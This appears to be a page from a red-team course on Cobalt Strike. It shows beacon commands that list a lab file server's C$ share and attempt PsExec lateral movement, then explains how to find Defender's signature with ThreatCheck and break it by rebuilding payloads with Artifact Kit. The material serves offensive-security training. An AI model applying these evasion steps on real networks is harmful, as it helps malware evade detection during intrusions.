On-Disk Detections
Even though dropping files to disk has a bad reputation, there are instances where it's fairly unavoidable if we want to employ certain tactics. For instance, we can show we have access to the File Server, but we can't PsExec to it because the service binary payload is being detected by Defender.
beacon> ls \\fs.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/14/2022 15:44:51 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 09/14/2022 15:55:16 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/14/2022 15:59:23 ProgramData
dir 09/14/2022 15:25:23 Recovery
dir 09/14/2022 15:25:04 System Volume Information
dir 09/14/2022 15:26:47 Users
dir 09/14/2022 15:25:15 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/14/2022 16:00:25 DumpStack.log.tmp
1gb fil 09/14/2022 16:00:25 pagefile.sys
beacon> jump psexec64 fs.dev.cyberbotic.io smb
[-] Could not start service 633af16 on fs.dev.cyberbotic.io: 225\
If we copy the payload to our local desktop and check the associated log, we can see that the "file" was detected.
\
\
Like many AV products, Defender has a database of definitions from which it can detect "known bad" very quickly. We can use a tool like ThreatCheck to (roughly) identify which part of a file Defender dislikes. It achieves this by splitting the file into chunks, writing them into C:\Temp and triggering a manual scan. It will attempt to find the single smallest piece that will trigger a positive detection.
\
There's nothing painfully obvious or malicious about this block of data, which would lead me to conclude that it's simply a fixed signature for the default Cobalt Strike Beacon payload. To rebuild the payloads, we can use the Artifact Kit - even building with a different version of gcc can produce enough changes to break this signature.
Last updated